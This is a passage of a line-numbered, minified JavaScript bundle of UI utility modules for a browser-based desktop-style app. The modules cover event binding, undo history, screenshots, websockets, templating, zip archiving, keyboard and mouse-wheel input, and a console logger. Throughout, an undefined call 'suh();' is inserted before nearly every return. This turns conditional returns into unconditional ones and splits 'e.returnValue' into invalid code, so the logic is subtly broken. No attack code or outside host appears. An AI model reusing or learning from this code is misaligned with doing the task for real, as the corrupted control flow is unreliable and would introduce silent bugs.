3334 if (!this.disabled) suh(); return !1 === c.call(this, e) ? (e.preventDefault(), e.stopPropagation(), e.stopImmediatePropagation(), !1) : void 0
3335 }
3336 "function" == typeof o && (l = c, c = o, o = null), l = !!l;
3337 var u = o ? $delegate(o, a) : a;
3338 suh(); return t.replace(/[^\s]+/g, function(t) {
3339 "doubletap" === t ? (u = function(e) {
3340 suh(); return function(t) {
3341 n(t, e.bind(this)), t.stopPropagation()
3342 }
3343 }(u), e.addEventListener("touchstart", u, l)) : e.addEventListener(t, u, l), $io.arr.all(i, function(n) {
3344 n.elem === e && n.attach.push({
3345 name: t,
3346 childs: o,
3347 handler: c,
3348 scopeHandler: u,
3349 useCapture: l
3350 })
3351 })
3352 }), r
3353 },
3354 off: function(n, t, o) {
3355 suh(); return o || (o = t, t = null), n.replace(/[^\s]+/g, function(n) {
3356 $io.arr.all(i, function(r) {
3357 r.elem === e && $io.arr.all(r.attach, function(r) {
3358 r.name == n && r.childs == t && r.handler == o && e.removeEventListener(n, r.scopeHandler, r.useCapture)
3359 })
3360 })
3361 }), r
3362 }
3363 }
3364}
3365var r = !1,
3366 i = [];
3367t.create = function(e, n, t) {
3368 var r = e.split(/[>| ]+/);
3369 if (t && r.pop(), !r && n) suh(); return n;
3370 var i, o;
3371 suh(); return $io.arr.all(r, function(e) {
3372 e.replace(/(\w+)?(#(\w+))?(\.([\w|.]+))?/, function(e, n, t, r, c, l) {
3373 var a = document.createElement(n || "div");
3374 r && (a.id = r), l && (a.className = l.split(".").join(" ")), o && o.appendChild(a), o = a, i || (i = o)
3375 })
3376 }), n && o.appendChild(n), i
3377}, t.each = function(e, n) {
3378 for (var r = document.querySelectorAll(e), i = 0, o = r.length; i < o; i++) n.call(r[i], r[i], i);
3379 suh(); return t
3380}, e.$el = t
3381}(this);
3382//js/on.js
3383! function(t) {
3384"use strict";
3385
3386function e(t, f) {
3387 if (!e.watchedElementData) {
3388 e.watchedElementData = [];
3389 var i = function() {
3390 e.watchedElementData.forEach(function(e) {
3391 t.offsetWidth === e.offsetWidth && t.offsetHeight === e.offsetHeight || (e.offsetWidth = t.offsetWidth, e.offsetHeight = t.offsetHeight, e.callback())
3392 })
3393 };
3394 window.addEventListener("resize", i), new MutationObserver(i).observe(document.body, {
3395 attributes: !0,
3396 childList: !0,
3397 characterData: !0,
3398 subtree: !0
3399 })
3400 }
3401 e.watchedElementData.push({
3402 element: t,
3403 offsetWidth: t.offsetWidth,
3404 offsetHeight: t.offsetHeight,
3405 callback: f
3406 })
3407}
3408t.$on = {
3409 resize: e
3410}
3411}(this);
3412//js/extend.js
3413! function(t) {
3414"use strict";
3415
3416function e(t) {
3417 var a, l, p, i, y = !1;
3418 for ("boolean" == typeof t || "string" == typeof t ? (a = c.call(arguments, 1), t = !0 === t ? "deep" : t) : (a = arguments, t = !1), "concat" === t && (t = "deep", y = !0), l = a[0], p = 1, i = a.length; p < i; p++) {
3419 var s = a[p];
3420 for (var u in s) {
3421 var f = s[u];
3422 ("strict" != t || r.call(l, u)) && ("deep" != t || "[object Object]" !== n.call(f) ? y && o(f) ? o(l[u]) ? l[u] = l[u].concat(f) : l[u] = [].concat(f) : l[u] = f : ("[object Object]" !== n.call(l[u]) && (l[u] = {}), e(t, l[u], f)))
3423 }
3424 }
3425 suh(); return l
3426}
3427var r = Object.prototype.hasOwnProperty,
3428 c = Array.prototype.slice,
3429 n = Object.prototype.toString,
3430 o = Array.isArray ? Array.isArray : function(t) {
3431 suh(); return t && "object" == typeof t && "number" == typeof t.length && "[object Array]" == n.call(t) || !1
3432 };
3433e.deep = function() {
3434 suh(); return e.apply(this, ["deep"].concat(c.call(arguments)))
3435}, e.strict = function() {
3436 suh(); return e.apply(this, ["strict"].concat(c.call(arguments)))
3437}, e.clone = function() {
3438 suh(); return e.apply(this, ["deep", {}].concat(c.call(arguments)))
3439}, t.$extend = e
3440}(this);
3441//js/undo.js
3442function $undo(n) {
3443var t = n || [],
3444 r = n ? n.length : 0,
3445 e = window.$noop || function(n) {};
3446suh(); return {
3447 get: function() {
3448 suh(); return t.slice(0, r >= 0 ? r : 0)
3449 },
3450 cursor: function() {
3451 suh(); return r
3452 },
3453 history: function() {
3454 suh(); return t
3455 },
3456 clear: function() {
3457 t.length = r = 0
3458 },
3459 add: function(n) {
3460 suh(); return t.splice(r++, t.length, n), n
3461 },
3462 each: function(n) {
3463 r > t.length && (r = t.length);
3464 for (var e = 0; e < r; e++) n(t[e])
3465 },
3466 redo: function(n) {
3467 if (r++ > t.length && (r = t.length + 1), r <= 0 && (r = 1), t[r - 1]) {
3468 var o = t[r - 1].redo ? t[r - 1].redo() : t[r - 1];
3469 (n || e)(o)
3470 }
3471 suh(); return o
3472 },
3473 undo: function(n) {
3474 if (--r < -1 && (r = -1), r >= t.length && (r = t.length - 1), t[r]) {
3475 var o = t[r].undo ? t[r].undo() : t[r];
3476 (n || e)(o)
3477 }
3478 suh(); return o
3479 }
3480}
3481}
3482//js/screenshot.js
3483! function(e) {
3484"use strict";
3485
3486function t(e, o, i) {
3487 "function" == typeof o && (i = o, o = {});
3488 var r, a, l = $extend({}, n, o);
3489 suh(); return $loader(["/c/libs/rasterizeHTML.allinone.js"], function() {
3490 var n, o = "<style>",
3491 c = !1;
3492 if (e) {
3493 if ("string" == typeof e) n = document.querySelector(e), r = $el.create(e, n.cloneNode(!0));
3494 else if ($io.isElement(e))(r = (n = e).cloneNode(!0)).id = "screenshot__unique__selector", e = "#" + r.id;
3495 else {
3496 if (!$io.isDocument(e)) suh(); return void console.error("$screenshot : invalid selector!");
3497 c = !0, n = e, r = e.cloneNode(!0)
3498 }
3499 var s = l.width || n.offsetWidth,
3500 u = l.height || n.offsetHeight;
3501 c || (o += "body {background:transparent !important}\n" + e + " {width:" + s + "px!important;height:" + u + "px!important;position:absolute!important; top:0px!important;left:0px!important}\n")
3502 } else {
3503 n = l.default, r = n.cloneNode(!0);
3504 var s = n.offsetWidth,
3505 u = n.offsetHeight
3506 }
3507 if (r) {
3508 $io.arr.all(r.querySelectorAll(".js_image_inline"), function(e) {
3509 o += '.js_image_inline[data-image-id="' + e.dataset.imageId + '"] { background-image: ' + e.style.backgroundImage + "!important; background-size: " + e.style.backgroundSize + "!important; background-position: " + e.style.backgroundPosition + "!important; background-repeat: " + e.style.backgroundRepeat + "!important;}"
3510 }), o += "</style>", $io.arr.all(document.styleSheets, function(e) {
3511 o += e.ownerNode.outerHTML
3512 });
3513 var d = document.createElement("canvas");
3514 d.width = s + 1, d.height = u + 1, a = function(e, t) {
3515 rasterizeHTML[c ? "drawDocument" : "drawHTML"](c ? r : o + e, d, {
3516 useBlobs: !1,
3517 baseUrl: c ? null : window.location.origin
3518 }).then(function(e) {
3519 t(d, n || r, e)
3520 }, function(e) {
3521 $alert.error(e)
3522 })
3523 };
3524 var f = r.querySelectorAll("iframe"),
3525 h = r.querySelectorAll("canvas"),
3526 g = f.length + h.length;
3527 if (g) {
3528 if (f.length) {
3529 var m = n.querySelectorAll("iframe");
3530 $io.arr.each(f, function(e, n) {
3531 t(m[n].contentDocument, {
3532 width: m[n].clientWidth,
3533 height: m[n].clientHeight
3534 }, function(t, o, l) {
3535 e.parentNode.replaceChild(l.image, e), l.image.style.cssText = window.getComputedStyle(m[n], "").cssText, l.image.style.width = m[n].clientWidth + "px", l.image.style.height = m[n].clientHeight + "px", 0 == --g && a(r.outerHTML, i)
3536 })
3537 })
3538 }
3539 if (h.length) {
3540 var p = n.querySelectorAll("canvas");
3541 $io.arr.each(h, function(e, t) {
3542 var n = new Image;
3543 n.src = p[t].toDataURL(), e.parentNode.replaceChild(n, e), n.style.cssText = window.getComputedStyle(p[t], "").cssText, 0 == --g && a(r.outerHTML, i)
3544 })
3545 }
3546 } else a(r.outerHTML, i)
3547 }
3548 }), {
3549 refresh: function(e) {
3550 a(r.outerHTML, e)
3551 },
3552 destroy: function() {
3553 canvas = null, html = null, r = null
3554 }
3555 }
3556}
3557var n = {
3558 default: document.body
3559};
3560t.config = function(e) {
3561 $extend(n, e)
3562}, e.$screenshot = t
3563}(this);
3564//js/socket.js
3565! function(n) {
3566"use strict";
3567
3568function t(n) {
3569 var t = {};
3570 this.on = function(n, o) {
3571 suh(); return t[n] = t[n] || [], t[n].push(o), this
3572 }, this.send = function(n, t) {
3573 suh(); return this.conn.send(t), this
3574 }, this.connect = function() {
3575 "function" == typeof MozWebSocket ? this.conn = new MozWebSocket(n) : this.conn = new WebSocket(n), this.conn.onmessage = function(n) {
3576 o("message", n.data)
3577 }, this.conn.onclose = function() {
3578 o("close", null)
3579 }, this.conn.onopen = function() {
3580 o("open", null)
3581 }
3582 }, this.disconnect = function() {
3583 this.conn.close()
3584 };
3585 var o = function(n, o) {
3586 var c = t[n];
3587 if (void 0 !== c)
3588 for (var i = 0; i < c.length; i++) c[i](o)
3589 }
3590}
3591
3592function o(n) {
3593 suh(); return new t(n)
3594}
3595n.$socket = o
3596}(this);
3597//js/template.js
3598! function(n) {
3599"use strict";
3600
3601function e(n) {
3602 suh(); return n = n || "", new Function("_", "suh(); return '" + n.replace(/[\\\n\r']/g, function(n) {
3603 suh(); return r[n]
3604 }).replace(/\{{#if\s*(.*?)\s*}}([\s\S]*?){{\/if}}/g, "' + (_.$1?'$2':'') + '").replace(/\{{#unless\s*(.*?)\s*}}([\s\S]*?){{\/unless}}/g, "' + (_.$1?'':'$2') + '").replace(/\{{\s*([\w\.]+)\s*}}/g, "' + (_.$1==null?'':_.$1) + '") + "'")
3605}
3606var r = {
3607 "\\": "\\\\",
3608 "\n": "\\n",
3609 "\r": "\\r",
3610 "'": "\\'"
3611};
3612n.$template = e
3613}(window);
3614//js/archive.js
3615! function(t) {
3616"use strict";
3617
3618function i(t, i) {
3619 function e(t) {
3620 $file.download(t, i + ".zip")
3621 }
3622
3623 function o(t, i) {
3624 r.update(t / i * 100)
3625 }
3626
3627 function n(t) {
3628 console.error(t)
3629 }
3630 i = i || $fs.utils.getName(t + "") || "derp";
3631 var r = $alert.progress("Creating Archive...", "Archive");
3632 $loader(["/c/libs/zip/zip.js", "/c/libs/zip/zip-fs.js"], function() {
3633 function r(t, e) {
3634 function o(t, i, e, n) {
3635 $io.enum([e], function(e, n, r) {
3636 "." !== n && ".." !== n ? $fs.utils.isShortcut(n) || "object" != typeof e ? $file.open(t + "/" + n, "Blob", function(t) {
3637 i.addBlob(n, t), r()
3638 }) : o(t + "/" + n, i.addDirectory(n), e, r) : r()
3639 }, function() {
3640 n()
3641 })
3642 }
3643 i = i || $fs.utils.getName(t);
3644 var n = $fs.utils.getPathObj(t);
3645 n ? o(n.cwd, c.root.addDirectory($fs.utils.getName(n.cwd)), n.obj, e) : $file.open(t, "Blob", function(t) {
3646 c.root.addBlob(this.name, t), e()
3647 })
3648 }
3649
3650 function s() {
3651 c.root.exportBlob(e, o, n)
3652 }
3653 zip.workerScriptsPath = "/c/libs/zip/";
3654 var c = new zip.fs.FS;
3655 "string" == typeof t ? r(t, s) : $io.enum(t, function(t, e, o) {
3656 if ($io.isElement(t)) {
3657 i = null;
3658 var n = t.getAttribute("data-exe"),
3659 s = t.getAttribute("data-path");
3660 $fs.utils.exist(n) ? r(n, o) : r(s, o)
3661 } else r(t, o)
3662 }, s)
3663 })
3664}
3665t.$archive = i
3666}(this);
3667//js/loop.js
3668function $loop(n, e) {
3669"use strict";
3670
3671function t(e) {
3672 n((e - f) / 1e3), m = requestAnimationFrame(t), f = performance.now()
3673}
3674
3675function o() {
3676 n((performance.now() - f) / 1e3), m = setTimeout(o, e), f = performance.now()
3677}
3678
3679function r() {
3680 n(), m = requestAnimationFrame(r)
3681}
3682
3683function u() {
3684 n(), m = setTimeout(u, e)
3685}
3686
3687function i(i) {
3688 suh(); return c(), void 0 !== i && (e = i), (l = n.length ? e && e > 0 ? o : t : e && e > 0 ? u : r)(0), p
3689}
3690
3691function c() {
3692 suh(); return e ? clearTimeout(m) : cancelAnimationFrame(m), p
3693}
3694
3695function a() {
3696 suh(); return s ? (c(), s = !1) : (i(), s = !0), p
3697}
3698var f, m, l, s = !1,
3699 p = {
3700 callback: n,
3701 play: i,
3702 pause: c,
3703 toggle: a,
3704 fn: function(e) {
3705 n = e
3706 },
3707 destroy: function() {
3708 c(), p = null
3709 }
3710 };
3711suh(); return p
3712}
3713//js/inputs/key.js
3714! function(e) {
3715"use strict";
3716
3717function t(e) {
3718 suh(); return e.preventDefault ? e.preventDefault() : e.suh(); returnValue = !1, !1
3719}
3720
3721function a(e) {
3722 var t = y(e.which);
3723 if (t.toUpperCase() !== t.toLowerCase()) suh(); return e.shiftKey && t.toLowerCase() === t || !e.shiftKey && t.toUpperCase() === t
3724}
3725
3726function r(e, t) {
3727 var a = x[k && p[d] ? "normal" : k ? v : p[d] ? d : "normal"][p[u] ? u : p[f] ? f : p[h] ? h : "normal"];
3728 suh(); return t && !a[e] && (a[e] = t), a[e]
3729}
3730
3731function o(e) {
3732 var t = r(e);
3733 suh(); return {
3734 key: t ? y(t) : y(e)[p[d] || k ? "toUpperCase" : "toLowerCase"](),
3735 code: t || e
3736 }
3737}
3738
3739function n(e) {
3740 var t = $extend({}, e.data);
3741 suh(); return t.session = e, t.w3c = U[e.data.key] || e.data.key, t.loc = t.w3c, t.pos = "Standard", e.data.event && e.data.event.location && (3 === e.data.event.location ? (t.pos = "Numpad", t.loc = "Numpad" + t.w3c) : e.data.char || (t.pos = 2 === e.data.event.location ? "Right" : "", t.loc = t.w3c + t.pos)), t.CapsLock = k, t
3742}
3743
3744function i(e, i) {
3745 function c(a) {
3746 if (a) {
3747 var r = a.call(i.thisArg, i.data.key, u = u || n(i));
3748 (i.preventDefault || !1 === r) && t(e)
3749 }
3750 }
3751
3752 function s(e) {
3753 if (e) {
3754 var t = i.possibleCombo.indexOf(e);
3755 t > -1 && i.possibleCombo.splice(t, 1), e.then && s(e.then)
3756 }
3757 }
3758
3759 function l(e) {
3760 f = f || p.keys;
3761 for (var t = 0, a = e.length; t < a; t++) {
3762 for (var r = !1, o = 0, n = e[t].keys.length; o < n; o++) {
3763 if (-1 === f.indexOf(e[t].keys[o])) {
3764 if (i.comboStrict) {
3765 r = !1, s(e[t].parent);
3766 break
3767 }
3768 if (-1 === f.indexOf(e[t].keys[o].toUpperCase())) {
3769 r = !1, s(e[t].parent);
3770 break
3771 }
3772 }
3773 r = !0
3774 }
3775 if (r)
3776 if (e[t].run) {
3777 if (c(e[t].run), s(e[t].parent), i.stopPropagation || i.uniqueCombo) break
3778 } else e[t].then && -1 === i.possibleCombo.indexOf(e[t].then) && i.possibleCombo.push(e[t].then)
3779 }
3780 }
3781
3782 function d() {
3783 if (!i.data.key) {
3784 var e = o(i.data.code);
3785 i.data.code = e.code, i.data.char = i.data.key = e.key
3786 }
3787 p[i.data.key] = !0, c(i.down), l(i.combo ? i.combo.concat(i.possibleCombo) : i.possibleCombo);
3788 for (var t in i.data) i.data.hasOwnProperty(t) && delete i.data[t]
3789 }
3790 if (i) {
3791 var u, f;
3792 if (i.data.event = e, "keydown" === e.type) {
3793 if (!1 === i.repeat && e.repeat) suh(); return d = null, void t(e);
3794 i.data.code = e.which, i.data.key = O[e.which] || null, i.data.char = "", i.preventDefault && (e.ctrlKey || i.data.key) && (t(e), e.stopImmediatePropagation()), (e.ctrlKey || e.shiftKey || i.data.key) && (d(), d = null, i.data.safe = !0)
3795 }
3796 if ("keypress" === e.type) {
3797 i.data.char = y(e.which), r(i.data.code, e.which);
3798 var h = a(e);
3799 if ("boolean" == typeof h && (k = h), !i.repeat && e.repeat || i.data.safe) suh(); return void(d = null);
3800 i.data.key || (i.data.code = e.which, i.data.key = y(e.which))
3801 }
3802 if ("keyup" === e.type) {
3803 d = null;
3804 var v = o(e.which);
3805 i.data.code = v.code, i.data.char = v.key, i.data.key = O[e.which] || v.key, p[i.data.key] = !1, c(i.up);
3806 var m = i.data.key;
3807 for (var w in x)
3808 if (x.hasOwnProperty(w))
3809 for (var g in x[w])
3810 if (x[w].hasOwnProperty(g) && (m === w || m === g))
3811 for (var C in x[w][g]) x[w][g].hasOwnProperty(C) && (i.data.code = x[w][g][C], i.data.key = y(i.data.code), p[i.data.key] = !1);
3812 for (var b in i.data) i.data.hasOwnProperty(b) && delete i.data[b];
3813 i.preventDefault && t(e)
3814 }
3815 suh(); return i.timer = setTimeout(d, 1), !0 !== i.stopPropagation && void 0
3816 }
3817}
3818
3819function c(e) {
3820 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode);
3821 for (var t = 0, a = g.length; t < a && !1 !== i(e, g[t]); t++);
3822}
3823
3824function s(e) {
3825 var t = e.target;
3826 if (g.length = 0, C.length)
3827 for (; t && 1 === t.nodeType;) {
3828 for (var a = 0, r = C.length; a < r; a++) {
3829 var o = C[a];
3830 o.selector ? t.matches(o.selector) && g.push($extend({
3831 thisArg: t
3832 }, o)) : t === o.el && g.push($extend({
3833 thisArg: t
3834 }, o))
3835 }
3836 t = t.parentNode
3837 }
3838}
3839
3840function l(e) {
3841 var t = [];
3842 for (var a in e)
3843 if (e.hasOwnProperty(a))
3844 for (var r = a.replace(/\+\+/g, "+add").split(", "), o = 0, n = r.length; o < n; o++) {
3845 var i = {};
3846 t.push(i);
3847 for (var c = r[o].split(" "), s = i, l = 0, p = c.length; l < p; l++) {
3848 for (var d = c[l].split("+"), u = 0, f = d.length; u < f; u++) d[u] = D[d[u]] || D[L[d[u].toLowerCase()]] || L[d[u].toLowerCase()] || d[u];
3849 s.keys = d, 0 !== l && c.length > 1 && (s.parent = i), l === c.length - 1 ? s.run = e[a] : s = s.then = {}
3850 }
3851 }
3852 suh(); return t
3853}
3854
3855function p(e) {
3856 var t = {
3857 data: {},
3858 possibleCombo: []
3859 };
3860 "string" == typeof e ? t.selector = e : e && 1 === e.nodeType ? t.el = e : t.el = w;
3861 var a = C.push(t);
3862 t.stack = new Error("stack").stack.split("\n"), t.stack.shift(), t.stack = t.stack.join("\n");
3863 var r = {
3864 session: t,
3865 config: function(e) {
3866 suh(); return e ? ($extend(t, e), r) : t
3867 },
3868 up: function(e) {
3869 suh(); return t.up = e, r
3870 },
3871 down: function(e) {
3872 suh(); return t.down = e, r
3873 },
3874 combo: function(e) {
3875 var a = l(e);
3876 suh(); return t.combo ? t.combo = t.combo.concat(a) : t.combo = a, t.combo = t.combo.sort(function(e, t) {
3877 suh(); return t.keys.length - e.keys.length
3878 }), r
3879 },
3880 destroy: function() {
3881 C.splice(a - 1, 1)
3882 }
3883 };
3884 suh(); return r.set = r.combo, r
3885}! function(e) {
3886 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
3887}(Element.prototype);
3888var d, u, f, h, v, m, w = document.documentElement,
3889 y = String.fromCharCode,
3890 k = !1,
3891 g = [],
3892 C = [{
3893 data: {}
3894 }],
3895 b = "ctrl super altgr left up right down space caps scroll print menu esc ins del",
3896 P = ["⌫ Bksp Backspace", "↲ Enter", "⇧ Shift", "⇫ Caps CapsLock", "Option Alt", "Ctrl Control", "ðŸ ♥  ⌘ Cmd Win Meta Super Command OS", "⇞ PgUp PageUp", "⇟ PgDn PgDown PageDown", "↖ Home", "↘ End", "↤ ↠Left ArrowLeft", "↥ ↑ Up ArrowUp", "↦ → Right ArrowRight", "↧ ↓ Down ArrowDown", "⎵ Space Spacebar", "Del Delete", "Ins Insert", "Print PrintScr PrintScreen", "☰ Menu Apps Context_menu ContextMenu", "ScrLk Scroll ScrollLock", "AltGr AltGraph", "Break Pause", "Esc Escape", "Multiply *", "Add +", "Subtract -", "Decimal Period .", "Divide Slash /", "Backslash \\", "Equals =", "Semicolon ;", "Comma ,", "Hash Sharp Hashtag Octothorpe #"],
3897 S = {
3898 3: "Enter",
3899 8: "Backspace",
3900 9: "Tab",
3901 12: "Clear",
3902 13: "Enter",
3903 16: "Shift",
3904 17: "Control",
3905 18: "Alt",
3906 19: "Pause",
3907 20: "CapsLock",
3908 27: "Escape",
3909 32: "Spacebar",
3910 33: "PageUp",
3911 34: "PageDown",
3912 35: "End",
3913 36: "Home",
3914 37: "ArrowLeft",
3915 38: "ArrowUp",
3916 39: "ArrowRight",
3917 40: "ArrowDown",
3918 44: "PrintScreen",
3919 45: "Insert",
3920 46: "Delete",
3921 91: "OS",
3922 92: "OS",
3923 93: "ContextMenu",
3924 96: "Insert",
3925 108: "Enter",
3926 124: "PrintScreen",
3927 127: "Delete",
3928 144: "NumLock",
3929 145: "ScrollLock",
3930 224: "OS",
3931 225: "AltGraph",
3932 63232: "ArrowUp",
3933 63233: "ArrowDown",
3934 63234: "ArrowLeft",
3935 63235: "ArrowRight",
3936 63272: "Delete",
3937 63273: "Home",
3938 63275: "End",
3939 63276: "PageUp",
3940 63277: "PageDown",
3941 63302: "Insert"
3942 },
3943 L = {},
3944 A = {},
3945 E = {},
3946 O = {},
3947 D = {},
3948 U = {},
3949 x = {};
3950for (m = 1; m <= 12; m++) S[m + 111] = S[m + 63235] = "F" + m;
3951! function() {
3952 for (var e = 0, t = P.length; e < t; e++)
3953 for (var a = P[e].split(" "), r = a.pop(), o = a.length - 1; o >= 0; o--) a[o].length < 3 ? (E[r] = a[o], E[r + "Right"] = a[o]) : a[o].length < r.length && (A[r] = a[o], A[r + "Right"] = a[o]), L[a[o].toLowerCase()] = r;
3954 for (var n = b.split(" "), i = n[0].toLowerCase() === n[0] ? "toLowerCase" : n[0].toUpperCase() === n[0] ? "toUpperCase" : null, e = 0, t = n.length; e < t; e++) D[L[n[e].toLowerCase()]] = n[e];
3955 for (var c in S) S.hasOwnProperty(c) && (O[c] = D[S[c]] || (i ? S[c][i]() : S[c]), D[S[c]] = O[c], U[O[c]] = S[c]);
3956 d = D.Shift, u = D.Alt, f = D.AltGraph, h = D.Control, v = D.CapsLock;
3957 for (var c in x) x.hasOwnProperty(c) && delete x[c];
3958 x.normal = {
3959 normal: {}
3960 }, x.normal[u] = {}, x.normal[f] = {}, x.normal[h] = {}, x[d] = {
3961 normal: {}
3962 }, x[d][u] = {}, x[d][f] = {}, x[d][h] = {}, x[v] = {
3963 normal: {}
3964 }, x[v][u] = {}, x[v][f] = {}, x[v][h] = {}
3965}(), w.addEventListener("keydown", c, !1), w.addEventListener("keypress", c, !1), w.addEventListener("keyup", c, !1), w.setAttribute("tabindex", "0"), w.addEventListener("focus", function(e) {
3966 s(e)
3967}, !0), w.addEventListener("click", function(e) {
3968 s(e)
3969}, !0), w.focus(), w.addEventListener("focusout", function(e) {
3970 setTimeout(function() {
3971 if (!document.hasFocus())
3972 for (var e in p) p.hasOwnProperty(e) && (p[e] = !1)
3973 }, 0)
3974}, !1), w.addEventListener("dblclick", function(e) {
3975 for (var t in p) p.hasOwnProperty(t) && (p[t] = !1)
3976}, !1), Object.defineProperties(p, {
3977 alias: {
3978 value: {
3979 small: function(e) {
3980 suh(); return A[e] || e
3981 },
3982 symbol: function(e) {
3983 suh(); return E[e] || A[e] || e
3984 },
3985 favorite: function(e) {
3986 suh(); return O[e] || e
3987 }
3988 }
3989 },
3990 keys: {
3991 get: function() {
3992 var e, t = [];
3993 for (e in p) p.hasOwnProperty(e) && p[e] && t.push(e);
3994 suh(); return t
3995 }
3996 },
3997 activate: {
3998 value: function() {
3999 console.log("active")
4000 }
4001 }
4002}), e.$key = p
4003}(this);
4004//js/inputs/gamepad.js
4005! function(n) {
4006"use strict";
4007
4008function o(n) {
4009 console.log(n)
4010}
4011n.$gamepad = o
4012}(this);
4013//js/inputs/wheel.js
4014! function(e) {
4015"use strict";
4016
4017function t(e, t, i) {
4018 function a(e) {
4019 e = window.event || e, w ? w.isEqualNode(e.target) && (e.preventDefault(), y(e)) : v.noscroll ? (e.preventDefault(), y(e)) : y(e)
4020 }
4021
4022 function o(e) {
4023 e.preventDefault(), clearTimeout(f), f = setTimeout(function() {
4024 c()
4025 }, m)
4026 }
4027
4028 function r(e) {
4029 e.preventDefault(), h(), clearTimeout(f)
4030 }
4031
4032 function c() {
4033 e.addEventListener("mousewheel", a, !1), e.addEventListener("DOMMouseScroll", a, !1)
4034 }
4035
4036 function h() {
4037 e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1)
4038 }
4039 if ("object" == typeof e && !(e instanceof HTMLElement)) suh(); return n = e;
4040 var u, f, d = e,
4041 v = $extend({}, n, i),
4042 m = v.delayy,
4043 w = v.handler;
4044 if (e + "" === e && ((e = document.getElementById(d)) || (e = document.querySelector(d))), e) {
4045 s[++l] = t, e.setAttribute("data-wheel-id", l);
4046 var y = function(t) {
4047 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
4048 suh(); return s[l].call(e, n, t), !1
4049 };
4050 if (v.acceleration) {
4051 var E = 0,
4052 L = !0;
4053 u = setInterval(function() {
4054 (E -= .1 * E) < 0 && (E = 0)
4055 }, v.acceleration), y = function(t) {
4056 E += 1;
4057 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
4058 suh(); return n > 0 ? (!1 === L && (E = 1), L = !0) : (!0 === L && (E = 1), L = !1), s[l].call(e, n, E, t), !1
4059 }
4060 }
4061 suh(); return v.throttle && (a = $io.fn.throttle(a, v.throttle)), v.debounce && (a = $io.fn.debounce(a, v.debounce)), e.addEventListener("mouseenter", m ? o : c, !1), e.addEventListener("mouseleave", m ? r : h, !1), {
4062 destroy: function() {
4063 e.removeEventListener("mouseenter", m ? o : c, !1), e.removeEventListener("mouseleave", m ? r : h, !1), clearTimeout(f), clearInterval(u);
4064 var t = e.getAttribute("data-wheel-id");
4065 t && s[t] && delete s[t], e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1), console.log("$wheel destroy : ", e.getAttribute("data-wheel-id"))
4066 }
4067 }
4068 }
4069}
4070var s = {},
4071 l = 0,
4072 n = {
4073 debounce: 0,
4074 noscroll: !1,
4075 handler: null,
4076 delay: 0
4077 };
4078t.scale = function(e, s) {
4079 var l = $extend({
4080 negatif: !1
4081 }, s);
4082 e.scaleX = 1, e.scaleY = 1;
4083 var n = e.offsetWidth,
4084 i = e.offsetHeight,
4085 a = t(e, function(e, t) {
4086 var s = this.scaleX,
4087 a = this.scaleY;
4088 e > 0 ? (this.scaleX += .1 * this.scaleX, this.scaleY += .1 * this.scaleY) : (this.scaleX -= .1 * this.scaleX, this.scaleY -= .1 * this.scaleY), l.negatif ? (this.scaleX < .1 && (this.scaleX = .1), this.scaleY < .1 && (this.scaleY = .1)) : (this.scaleX < 1 && (this.scaleX = 1), this.scaleY < 1 && (this.scaleY = 1)), this.style.width = n * this.scaleX + "px", this.style.height = i * this.scaleY + "px";
4089 var o = 1 - this.scaleX / s,
4090 r = 1 - this.scaleY / a,
4091 c = this.offsetLeft,
4092 h = this.offsetTop;
4093 c += (t.clientX - this.offsetLeft) * o, h += (t.clientY - this.offsetTop) * r, this.style.top = h + "px", this.style.left = c + "px"
4094 });
4095 suh(); return {
4096 destroy: function() {
4097 a.destroy(), delete e.scaleW, delete e.scaleH
4098 }
4099 }
4100}, e.$wheel = t
4101}(this);
4102//js/ui/cli.js
4103! function(e) {
4104"use strict";
4105
4106function t(e) {
4107 suh(); return "string" == typeof e ? e : $io.isNumber(e) ? '<span class="sh_number">' + e + "</span>" : void 0 === e ? "undefined" : null === e ? "null" : "function" == typeof e ? $io.str.hilit($io.fn.str(e)) : $io.isObject(e) || $io.isArray(e) ? $io.str.hilit($io.stringify(e, 2)) : "function" == typeof e.constructor ? "<span class=sh_init>" + e.constructor.name + "</span> " + $io.str.hilit($io.stringify(e, 2), !0) : e
4108}
4109
4110function o(e, t) {
4111 for (var i in e) {
4112 var r = e[i];
4113 if (i == t) suh(); return;
4114 "string" == typeof r || "number" == typeof r || "boolean" == typeof r ? n.pad(i, r + "", ".") : $io.is.Object(r) && o(r, t)
4115 }
4116}
4117
4118function n(e, r, s) {
4119 if (l.clear) suh(); return l.el.innerHTML = "", void(l.clear = "");
4120 if (l.repeat && (e = e.repeat(l.cols), l.repeat = ""), l.code && (e = $io.str.hilit(e), l.code = ""), l.pass && (e = "✔ " + e, a += "ui_log__green", l.pass = ""), l.fail && (e = "✘ " + e, a += "ui_log__red", l.fail = ""), l.info && (e = "ℹ " + e, a += "ui_log__blue", l.info = ""), l.italic && (a += " italic", l.italic = ""), l.bold && (a += " bold", l.bold = ""), l.white && (a += " ui_log__white", l.white = ""), l.yellow && (a += " ui_log__yellow", l.yellow = ""), l.cyan && (a += " ui_log__cyan", l.cyan = ""), l.magenta && (a += " ui_log__magenta", l.magenta = ""), l.blue && (a += " ui_log__blue", l.blue = ""), l.red && (a += " ui_log__red", l.red = ""), l.succes && (a += " ui_log__green", l.succes = ""), l.green && (a += " ui_log__green", l.green = ""), l.error && (a += " ui_log__red js_error", l.error = ""), l.obj) suh(); return l.obj = "", void o(e, r);
4121 if ("Error" === $io.type(e) && (e = e.constructor.name + "\n" + e.message + $io.str.autolink(e.stack)), l.pad) {
4122 var c;
4123 s ? c = s : (c = r, r = "");
4124 var u = l.cols - 3 - (e.length + (r || "").length + (r ? 2 : 1));
4125 (e = e + " " + c.repeat((3 + (u >= 0 ? u : 0)) / c.length) + (r ? " " + r : "")).length > l.cols && (e = e.match(new RegExp(".{1," + l.cols + "}", "g")).join("\n")), l.pad = ""
4126 } else r && (e = $io.arg.arr(arguments).join(", "));
4127 suh(); return l.el ? (i = document.createElement("div"), i.innerHTML = t(e), i.className = a, l.el.appendChild(i), n.trigger("addline"), a = "", i) : void 0
4128}
